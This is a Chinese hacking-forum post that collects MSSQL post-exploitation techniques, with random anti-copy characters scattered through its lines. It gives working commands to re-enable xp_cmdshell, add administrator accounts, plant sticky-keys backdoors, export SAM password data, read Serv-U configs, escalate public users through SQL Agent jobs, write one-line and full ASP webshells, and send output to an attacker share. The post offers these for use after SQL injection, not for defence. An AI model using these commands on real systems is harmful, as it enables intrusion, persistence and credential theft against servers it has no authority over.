找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2185|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
: Z0 H7 U* Z8 s8 e/ P  S恢复方法:查询分离器连接后,1 I% u* r% T7 g/ M# D4 P! i
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
: ]8 v# H3 j) j% S4 _" \第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
; U5 b% }( a: k  h' a然后按F5键命令执行完毕( I4 M4 E3 W( }5 y- E, H# f  d1 r

: r' V$ i1 y# {/ q+ o1 t2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
, T. M( R) |9 h0 h" @8 S9 B" u恢复方法:查询分离器连接后,
% M( E5 _+ o3 A" v' m' ~" c& B第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
2 R) g! l! Z" o. `/ H第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'* w0 t: U5 T0 `
然后按F5键命令执行完毕
& L: h0 l# M( q4 c# f% C' k* t! p- R' e( E5 B; E1 k
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)2 A: o0 _0 _( x
恢复方法:查询分离器连接后,
. n1 m+ x- a  Y0 N; Y; s第一步执行:exec sp_dropextendedproc 'xp_cmdshell'# s( s" z, s5 v3 m
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       - }1 l1 {- N1 ]/ ]* _, ?
然后按F5键命令执行完毕
* Z$ G: K; Q. r' w5 U- g5 Q
# R# P4 f1 k' h7 }6 d( O  p4 终极方法.4 H" n" T" o& _9 E4 L/ r2 i$ \
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:' ^6 ?4 Y  ]3 Z
查询分离器连接后,
9 d/ Y8 p2 Z7 k; |2 g2000servser系统:
7 C5 J, ^3 x& @, P6 F5 E* gdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'( m6 I& D) T6 ~, _0 |( D& ?; f. p

) i7 c6 l# [6 Jdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'2 l( A( ~) b: v) Y

5 e6 E% X8 Z& }: Kxp或2003server系统:4 c$ P: U7 ?- v" k" u2 R0 d- H

: F) S' u  h( E4 k; s( tdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
. g0 y4 N+ S: F/ j
4 m1 g0 Z' |5 k+ Adeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
8 D. H! h5 I8 d6 L8 B
$ B1 o* K7 y/ Q4 Z% q7 ~- B5 v5 K+ C7 @! q$ g4 [; k$ i2 s
五个SHIFT
, t+ W) m0 S. b1 hdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';: ~+ E7 z1 T1 b  D
$ F+ o7 W5 Q$ ~, W" C
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
, y# P# z( A8 X- P% W& N' ~3 u. \  t" G8 L) s* B% |4 d" v
xp_cmdshell执行命令另一种方法
( P/ X( }+ k$ E" Vdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' # t' J; L1 `8 H  H" d$ T
" J5 H4 M, r. a; @
判断存储扩展是否存在
" s. B! ]% o+ i  U5 z7 HSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'& l  Q- e/ b/ n3 \
返回结果为1就OK' Z. z  v! ?8 I9 \

% S9 U( z; [; ?" C$ B* Q. r$ W3 O- @
上传xplog70.dll恢复xp_cmdshell语句:2 b2 y+ I3 g+ E4 o$ X
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'( j% m, \+ J6 S

- T9 a8 c5 Z7 B否则上传xplog7.0.dll: E! T* q; n& |# Q; `, O/ l9 ~
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'& O# m9 }+ z1 f0 f8 n4 O. Q! S
  q+ ~$ [  a- E* t
' d7 i0 V: r4 b) A' f  ^

* D1 `7 A' K/ D# G首先开启沙盘模式:
/ _! ~& k0 \# F+ H# N/ R% sexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; k. j# [  }# Y( t6 S: e! v

: V$ G3 h( u! q/ p然后利用jet.oledb执行系统命令
6 q* n+ ?; ?) e/ x3 o# L/ ^select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')+ K2 H) }" A; t5 ^! Z5 B
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
1 x, F' Q( G6 {' e- d. ~8 Q" {+ [9 B6 V. r+ V. d# o' P
* c4 Z" F7 ]/ f2 a! j' M/ I

; f2 e$ w8 L. j0 \; a恢复过程sp_addextendedproc 如下:
1 D" K3 L1 V+ j1 Ocreate procedure sp_addextendedproc --- 1996/08/30 20:13 0 W; h* [" l" k8 \- \
@functname nvarchar(517),/* (owner.)name of function to call */ ( I6 V* K$ W3 U9 ]- k
@dllname varchar(255)/* name of DLL containing function */
$ }) I1 Q# K8 F& gas
( }/ O* G5 V6 F% Nset implicit_transactions off 9 L1 J& z9 v- G
if @@trancount > 0
2 w% J0 X1 `: {begin . f: K/ ?/ X+ ]( F9 [% V: e
raiserror(15002,-1,-1,'sp_addextendedproc')
: I  {8 O5 c+ h5 m! Creturn (1)
7 I# T& T  w: C. r; iend
# j7 T; _8 b9 q$ |4 `dbcc addextendedproc( @functname, @dllname) 2 d1 B  O9 A. z# l6 r$ K
return (0) -- sp_addextendedproc ( K: x3 y% @( a2 K& t
GO ; |' b) n6 V5 b8 w, \; n1 \; p. p
/ o- G6 B5 ?$ c/ z  D  X

0 \+ o) O! _6 F. Y5 h: R2 {0 z, K7 f8 E. e
导出管理员密码文件+ `" C& X# r3 d. b8 w) Q
sa默认可以读sam键.应该。8 r! W0 i; T  R
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
9 b0 `# p4 `' f& F% s) Y6 W9 Wnet user administrator test
! g0 e4 J" y0 h& w* E8 p' Y; p用administrator登陆.
" y4 ~" h  Z& P3 C4 H用完机器后
/ a% i. K* T! Z; w* a. [, nreg import c:\test.reg2 Z0 F5 l) C) B* S6 a8 n! {
根本不用克隆.. `" X2 y8 b& z, s4 A2 V# H
找到对应的sid. 0 v$ b, }3 [  p: y

' W* ?: q! i2 c" g' d/ j2 ^
# e6 n. y- \- x9 x5 f- ]
( b- {  z9 {  `& y! Q恢复所有存储过程
3 S3 h. V) E" y  ?' Z/ yuse master 2 j) N; s7 O. b" h7 H
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' ( j6 W1 @, d0 q) @
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
( E' \7 M0 ~' X7 F' c4 P. vexec sp_addextendedproc xp_loginconfig,'xplog70.dll' , ?- a( Z+ W/ I9 m6 b( x
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'   p  x& V( J) `/ N
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 1 U, P& S8 o$ J* ~: n: r  |$ A; a
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
9 O% U3 T: X- ~* g% yexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
' h  Q, g! @$ c" Dexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' % X9 n. B4 l, J  A- H
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' % W9 A' [. K6 `# g5 L  C2 d
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' . C; n$ N- J' D: @3 `! k/ W( m
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
' B8 |6 O% g: J9 a: m6 S3 q  fexec sp_addextendedproc sp_OAStop,'odsole70.dll' $ `% `' a; K$ Q0 Y" l2 J8 ?2 _* X7 Z
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' , O( H5 k4 n- b; [7 P% `
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' # ]+ I4 v% y- |0 X+ a" p
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
% j! B6 B0 {* jexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' . p4 W" D$ h" A
exec sp_addextendedproc xp_regread,'xpstar.dll' 8 y2 H$ a# o$ q0 q* |; |# R* I9 P
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 3 j, k& W" P: f' E- y
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
# @& u9 f' r1 g. r0 v8 m/ lexec sp_addextendedproc xp_availablemedia,'xpstar.dll'- O) f, r8 x$ ^

& b& M9 i4 a# O9 ?  \2 m8 Z4 ]3 h3 ^7 M; z
建立读文件的存储过程- l+ g) c( p, ^+ E/ c* c
Create proc sp_readTextFile @filename sysname; \- M: h& A5 K6 W- L/ q& d5 x
as
: A  L2 o2 ~# d0 u% \" d- b  [8 f
    begin
* ]+ N/ Y; R1 r5 t. A+ `% n) B    set nocount on
8 M5 E$ l+ e8 `: }0 s0 L$ c    Create table #tempfile (line varchar(8000))$ o. o" V- z8 p' }4 ^( v* T
    exec ('bulk insert #tempfile from "' + @filename + '"')1 T: R, p$ S# s4 }
    select * from #tempfile$ _  e3 o" q: F% [$ \* G7 D
    drop table #tempfile" d) Y8 v/ ]0 ?
End; k! M9 o8 T/ ?: K- e6 i% X6 ]

  `& d; O: x- w+ Z# }) u/ jexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
9 o9 T* b+ Q/ ?9 }. X查看登录用户* b) U( Y; r% }/ R: D. c* Q; L' e
Select * from sysxlogins
, S( @% n% A; Q- P' x* e
; _3 q0 \0 F& v把文件内容读取到表中( a& Q4 y6 o9 V
BULK INSERT tmp from "c:\test.txt"7 a& j. q  k( X4 }
dElete from 表名 清理表里的内容
' A) |2 \! c0 ]9 `# z1 M5 [1 ccreate table b_test(fn nvarchar(4000));建一个表,字段为fn  g( W( a, u3 J3 H- r7 L$ ?

; }; d8 ?6 I1 x# q" M3 u  `$ A& X7 L# L7 o4 W# ~: D$ U5 g
加sa用户' f! E* r& P/ H2 q
exec master.dbo.sp_addlogin user,pass;8 A2 W3 s7 H1 z* Q& ]
exec master.dbo.sp_addsrvrolemember user,sysadmin: w* K* y4 B, J0 l5 B5 X

2 P1 ?* X: P% Z4 @0 o& e7 p) w3 K' Y( Y1 n% r: S
3 a/ F! d/ K3 f; ~3 N" m
读文件代码/ F6 U8 Z5 \, A6 F0 n& m
declare @o int, @f int, @t int, @ret int
0 c; P  q3 {0 d# m/ ideclare @line varchar(8000)6 Q: a7 d; O* m1 [8 r& s& L
exec sp_oacreate 'scripting.filesystemobject', @o out
0 H0 z, o6 k1 s, \2 z# ~9 yexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1+ z: H. `8 C* y  s0 a4 X' _. ~& W- i
exec @ret = sp_oamethod @f, 'readline', @line out  _( H0 I: ~* }2 ]' N1 g" t/ V
while( @ret = 0 )) a+ Q! O2 E- M; W
begin+ v$ C4 [5 u0 ^2 J
print @line
9 S0 W6 ~- z  F1 P# eexec @ret = sp_oamethod @f, 'readline', @line out
0 l. c, y2 B2 V  B2 D# ?end0 i+ N: g) `+ n
# W' e' V2 A) D7 z! o
# k4 B1 B  V  T3 T* k9 y) M
写文件代码:1 V! G) d+ b$ |  s2 k# L8 M
declare @o int, @f int, @t int, @ret int
3 w0 _3 t1 p1 N1 y& mexec sp_oacreate 'scripting.filesystemobject', @o out
. Z) B5 h4 J' }5 i" Oexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 19 b" Y" ~0 H1 v* Z' j
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
# _" @: I: ^3 X, t2 C/ x+ I2 ?# x1 h5 ?: V
  ?& L5 b6 g6 f$ C
添加lake2 shell* l& p& i# w2 W
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'( i; S2 R) n" ~6 s# x* A4 b4 n! ]; n
sp_dropextendedproc xp_lake2
% |0 C* V& Z0 T! z/ X' PEXEC xp_lake2 'net user'1 _) }1 _# m& g7 S$ I; j# t1 v
) c/ D, f7 Q3 e, ^: n

, z( ~: U/ ?# s得到硬盘文件信息
( e3 g6 K. }- v, F1 Q8 Q$ B% |' U--参数说明:目录名,目录深度,是否显示文件 2 n3 ?  S" e8 S8 s5 e/ g2 z
execute master..xp_dirtree 'c:'
9 F& a" u7 x& b5 ~$ ], @" Iexecute master..xp_dirtree 'c:',1
) `& _0 K5 a4 m3 Q3 E) g0 Kexecute master..xp_dirtree 'c:',1,1
6 u; p5 [# y% m
2 h. x! [2 m# z' ]1 D$ _  H4 W/ @9 e3 h% M
读serv-u配置信息
3 E8 y9 f) @5 vexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'. {- e7 i( w* y" J2 u4 ?
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'1 S9 k+ K4 p# }3 x
' D( }3 _' q2 Z
通过xp_regwrite写SHIFT后门% s, x4 M3 m' Q( [% N/ O. v6 \: w
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--- ^# _9 z/ f+ M( {1 C
2 K: t0 {# U6 a. Z8 v& r4 n& C! d

: q& R8 G, I/ d0 k
" c* a- E( w  f7 u5 ~# T找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
% G- A$ l  _. [; k3 P3 Yexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了- O; l/ B# O! X0 O& L1 U6 ~

; n* {# a7 S' O# Z+ |) HEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
6 r) o9 U8 \* V! A; L, q8 F9 ~  R; Y# o2 o# @5 f0 L$ f6 ]

4 i3 c: ^$ l; K' ]5 @1 [* P* U) C! C3 X  R7 B& x: o9 m
sql server 2005下开启xp_cmdshell的办法
5 P) H% ?7 M4 W% S) ^6 C6 N/ V5 n8 R/ x  R
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
& J  k2 W' ~2 O
/ f$ _8 _* m  ^, j2 G, ?: @SQL2005开启'OPENROWSET'支持的方法:( q& o* a# g" s* c0 `& a
3 }5 k9 p0 @8 J2 e0 M4 A3 K
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;5 Z# d. Z8 l$ L/ v* G
$ u+ i/ J' C3 J5 [
SQL2005开启'sp_oacreate'支持的方法:6 _- i  A% {9 _5 R; ?' t
8 _. x* o5 F, {4 K( l
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;9 D: }2 R" }5 }8 s
, t" P) N3 K2 h* G

% V* g* @% p5 {) W8 m0 S
" m" n. ]; ^5 h, [7 n8 S0 l) X& b3 P9 n6 y; k6 D; y

/ U' e5 x+ j. u$ i
3 P7 ]) @" s! m1 ]$ O" t1 b8 ]& A1 T( o" B* E* E: k

5 M' O8 P% H$ x# p0 z+ ]* Q: q7 n- h) K2 D3 B: j
7 e) }8 \. d0 S" u& e8 }  |# b, G
, s3 U# J* v1 Y" y; l2 T

! l4 n$ Q1 Y7 e& e9 j7 w6 W1 z7 R0 m2 m0 P+ ?8 r/ ~

' p: v8 i0 q, v- w
) }/ A5 ]5 [: L) D% Y3 t% H( {. R6 \% Y" |/ @
( o! |1 X; T" Y
& `) J8 D9 z) S8 G

; I! t) `6 S: ]/ w/ s) u" O. \
5 Z7 B( x' I: `' s
: S* `3 \0 G! R; p& M& y/ J/ s5 f/ @
) ^- I# M9 l+ g6 _2 c0 U: K' J$ i+ i7 M( W5 p! q% {+ i+ q8 Q4 g% f

/ E% D% N& j' Z  A以下方面不知道能不能成功暂且留下研究哈:
! ^  c3 F7 C( p- X4 `' V: E& `4)2 {3 A" i2 O; Q" {
use msdb; --这儿不要是master哟
- l% K0 `; q2 k0 Z' A- Lexec sp_add_job @job_name= czy82 ;1 ~# ?6 S- h# }* j
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;  g4 l: y+ h% i0 H7 v7 \  U# ]
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;" U( }" e" N7 ?- |+ {
exec sp_start_job @job_name= czy82 ;
2 }1 h5 z$ l+ a; p
( Y4 t  \8 Q- s+ F% H6 ?- z4 f, {利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
4 Q- o/ z9 ]  V+ G执行tsql语句了.1 y" I$ E, x4 |' W* u
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
- f8 k  ~5 j. O+ j3 ?( R第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)* r! ^5 ]" O# m$ j( }
net start SQLSERVERAGENT9 }- O# |* P$ O
9 l2 @5 R6 V& B& {7 b8 m- c
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
. q0 b# {% b) Q  ^  sUSE msdb+ Z4 [4 Z# t. U4 p$ D$ b$ w
EXEC sp_add_job @job_name = GetSystemOnSQL ,( T) g1 Y: {  W# s
@enabled = 1,
7 h1 z! ~; N2 e" b/ R@description = This will give a low privileged user access to
% v7 L7 x0 |. \- Fxp_cmdshell ,
. v1 r5 D3 S7 t@delete_level = 1% a# W& F7 x' Z5 I4 I+ {
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
5 g, ^8 `1 e$ L8 P1 Z8 B: c( z@step_name = Exec my sql ,
8 H: j# G$ z. Q2 L  s, r' n@subsystem = TSQL ,4 h/ N/ Z6 e- j, y( a
@command = exec master..xp_execresultset N select exec$ L* O9 S3 w. ^& l" V- m' @
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master * j* O6 L  @+ t; b! ?9 Q' ]
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
1 B6 N+ J; T: s8 `  z6 U) F  E@server_name = 你的SQL的服务器名
" n. I2 _4 x: S8 S& ^EXEC sp_start_job @job_name = GetSystemOnSQL
$ g. [% C1 i' ^9 Z& n, J' q6 ]
( [  I6 M  Q, h2 B+ v7 U不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
: u1 C9 ^$ \/ b' n* a& j. G才让我们可以以public执行xp_cmdshell2 j% H% u6 u) U, @. a

9 J5 J, D' w1 g4 P5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)% p. I" h3 Z5 \; s% C3 W# ~# c9 O
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=29689 |5 v) R, V7 [# ?! h3 v
9 _9 t7 e% Y- a
USE msdb' K; Q. u# O3 d7 g$ |5 U
EXEC sp_add_job @job_name = ArbitraryFilecreate ,6 u. [7 |! l7 n
@enabled = 1,
5 t' u" l2 z$ ?: V* I; j@description = This will create a file called c:\sqlafc123.txt ,
* R: h, E; v# }@delete_level = 16 X. w8 z" ~. P9 S9 n- t
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
$ V# x! y$ A/ n  E# a@step_name = SQLAFC ,# x0 N/ P8 f8 {9 T7 @  E
@subsystem = TSQL ,
' t5 R+ ~5 f. _@command = select hello, this file was created by the SQL Agent. ,
7 t1 D) `3 e* m" @, t. ~9 N@output_file_name = c:\sqlafc123.txt
, c# c! N+ P3 h3 lEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
; c# ]" b4 f% Z8 {* R! b. i. @@server_name = SERVER_NAME
$ @+ Y/ Y. d4 L8 u6 OEXEC sp_start_job @job_name = ArbitraryFilecreate 5 V( S3 ~% k' C' L2 {( \
. W9 G3 A: |$ l
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
  J$ i% b; b: e* s0 I2 j  l2 [6 o( ]6 s0 n( C' p* ~/ r: W. Z* P
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
7 {+ G* G# y2 j----------------------------------------------! H$ u/ j& R  }; [; n+ a
hello, this file was created by the SQL Agent.: C- _8 `7 p, e* |, P

1 x3 J) x' j+ q; `( H4 ](1 ?????)
$ D; ~. F6 t; d) m7 Y+ L6 Y" r5 G6 @4 i. N
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
; B% S( }, F5 @4 ], }' G命令的vbs文件到启动目录!* E) o! v% L% t8 B1 Y
  D3 M, [4 x- p
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
0 ?" o* O5 G7 u$ h5 M! V关于sp_MScopyscriptfile 看下面的例子' b3 @: E1 [2 M# d6 J$ d, j
declare @command varchar(100)
& g8 o& i( y' H3 u  _declare @scripfile varchar(200)
7 E7 A3 V* a' J+ O0 }/ Gset concat_null_yields_null off
# ~* K4 z, L; W& w0 j* Mselect @command= dir c:\ > "\\attackerip\share\dir.txt"
1 O# m4 Y5 C7 Wselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
) w& e: N* S. H. Xexec sp_MScopyscriptfile @scripfile ,
# r, b5 C* o# b& m, e* @
) H" G! }  h) s! L这两个东东都还在测试试哟
. L) h" q( P5 Z& p$ k6 L: l$ k% Z让MSSQL的public用户得到一个本机的web shell
# i. m4 R: U+ B2 j' s/ f  y4 n3 v) {3 Z  z
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
5 T+ x6 {- P6 G: J--@query= select <img src=vbscript:msgbox(now())>
* q1 I0 _7 V* j3 z--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> ) f& E" n7 l$ i' r" Q$ |
@query= select
& _# F# Y4 z* D: p<%On Error Resume Next $ Y) z6 |, x3 g" B6 U
Set oscript = Server.createObject("wscript.SHELL") ; v8 c1 E  n1 O% Z( a+ i/ D0 n
Set oscriptNet = Server.createObject("wscript.NETWORK")
2 @, V8 s1 P- i7 {Set oFileSys = Server.createObject("scripting.FileSystemObject")
# d" L2 H' n. x/ MszCMD = Request.Form(".CMD") 0 G6 \+ c0 ~5 P7 N  d
If (szCMD <>"")Then
( o* m) @" u' L& ZszTempFile = "C:\" & oFileSys.GetTempName() , o; ~( _0 }% z# V$ R: @& @' I
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
) a8 @  t% m; F- a/ KSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) ! P- q1 F+ }: b; J
End If %>
9 ]# _* P. N6 \) D/ E) ^<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
  p/ O6 j: Z7 @; A* Y# l<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> , n0 |# ?% @$ T. e1 z
</FORM><RE>
: c3 l, f$ F- p) y. c<% If (IsObject(oFile))Then
3 \1 w) b' b: H5 p- q  UOn Error Resume Next
! @  ]. o* R% n2 oResponse.Write Server.HTMLEncode(oFile.ReadAll) 1 s& K, v7 F: m5 G1 D: P3 [
oFile.Close
0 J6 }5 K. R; g! ECall oFileSys.deleteFile(szTempFile, True)
# U9 q4 s5 U0 d% [End If%>
' G* w& r: {# z1 l: k4 L</BODY></HTML> * }" a$ d$ Q0 X2 x- y6 l  \+ [3 v$ U4 L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表